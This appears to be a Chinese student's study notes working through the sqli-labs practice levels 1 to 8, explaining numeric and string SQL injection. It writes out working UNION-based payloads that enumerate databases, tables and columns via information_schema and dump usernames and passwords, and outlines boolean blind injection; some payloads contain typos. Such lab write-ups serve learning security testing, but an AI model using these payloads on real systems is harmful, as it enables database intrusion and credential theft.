目录
sql注入中的数字型和字符型注入的区分
-
数字型
select email from member where id=$id
其中 $id 为 我们输入的值 ,当输入1,2,3正常数字 ,正常返回,但是如果 输入 1 or 1=1 则为永真,即:
select email from member where id=1 or 1=1
-
字符型
select email from member where id=‘$id’
其中 $id 为 我们输入的值 ,当输入1,2,3正常数字 ,正常返回,但是如果 输入 1 or 1=1 即:
select email from member where id='1 or 1=1'引起数据报错
因此,
select email from member where id=' ' or 1=1 # '又永久为真
less1
首先输入?id=1发现无论2还是3,都能正确显示内容
然后输入?id=1',发现回显错误(也可以输入?id=1\)
再输入
?id=1'--+(+号是为了与后面注释内容插入一个空格,空格在url中用+代替)
回显正常
这里也可以使用 ?id=1'#,回显正常即可,但是这里#貌似不起作用,可能是数据库对#和--要求不同,
这里发现一个很有意思的东西,当我输入中文的单引号,再加上#时,回显正常(这里有点疑惑,不会识别中文字符,而且#注释的是后面的语句。甚至输入两个中文引号也不会报错)
所以是字符型注入
尝试查询,先查询列数
爆出显示位,使用联合查询?id=-1'union select 1,2,3 --+
所以第2,3列显示在页面
再爆库名和版本名
?id=-1'union select 1,database(),version()--+
爆表
information_schema.tables表示该数据库下的tables表,点表示下一级
information_schema.columns表示该数据库下的columns表,点表示下一级
group_concat()是将查询到结果连接起来,再显示在同一行
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
table_schema字段内容是security的所有table_name的内容
密码肯定在users表中,爆列
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
敏感字段user,password
?id=-1' union select1,2,group_concat(username ,id , password) from users--+
?id=-1' union select1,group_concat(username),group_concat(password) from users--+
查询
sql注释符
/*
第一行注释内容
第二行注释内容
*/
less-2
数字型注入
?id=1'和?id=1'--+或者?id=1'#都报错时
?id=1有回显
可判定数字型注入
方法同上:
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,'is' , password) from users
less-3
尝试?id=1'后发现报错
所以需要将后面的'和)闭合才能正确显示
所以?id=1''(
开始爆破,同上:
?id=-1''( order by 3回显正常
?id=-1''( union select 1,2,3 发现回显消失
后面按照正常做,发现不会回显我们想要的内容
后面翻了很多文章,发现我理解错了,我们来重新看这个
1’是我们输入的内容,目的是为了闭合前面的‘号,后面剩下'),其中)的出现肯定是因为先前的语句中有(,所以我们需要将它闭合,然后直接将后面的')注释
如下:
?id=1')--+
我们也可以先将后面的'闭合,再闭合前面的( 还是需要注释后面的,事实上不注释也可以)
?id=1'')--+
开始继续下面的爆破
?id=-1') union select 1,2,3 --+
?id=-1') union select 1,database(),version() --+
后面省略
less-4
?id=1'''
发现无论多少个'都能够回显
原因是双引号,'都无法起作用
双引号注入
?id=1"
和上题类似,有括号
?id=1")--+
(这里我发现url对"也不会编码)
继续爆破同上题
less-5
单引号注入
这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位
所以这是布尔盲注
注入点符合 and 1--+ 正常显示
and 0--+ 异常或者空显示
?id=1'and length(查询语句)=--+
使用length(),ascii() ,substr()这三个函数
首先通过length()函数确定长度(依次爆破库名,group_concat表名,列名,字段名)
再通过另外两个确定具体字符是什么
- substr()一个一个字母的截
- ascii()转义字母为数字爆破出来
这里很浪费时间,也可以写脚本?或者用工具(sqlmap)
less-6
双引号注入
less-7
?id=1
?id=1'
?id=1”
数字不报错,单引号报错,双引号不报错,所以是单引号注入漏洞。
注释后面语句,发现还报错。。。
测试一下有没有括号
?id=1')--+ 报错
双括号
ok,像前面的布尔盲注一样,。。。先这样,再这样,最后这样就做完了。
less-8
ok啊,随便乱输,没有报错信息
?id=1'--+
单引号布尔盲注,和前面差不多。
备注
本人水平尚浅,学习中---更新中---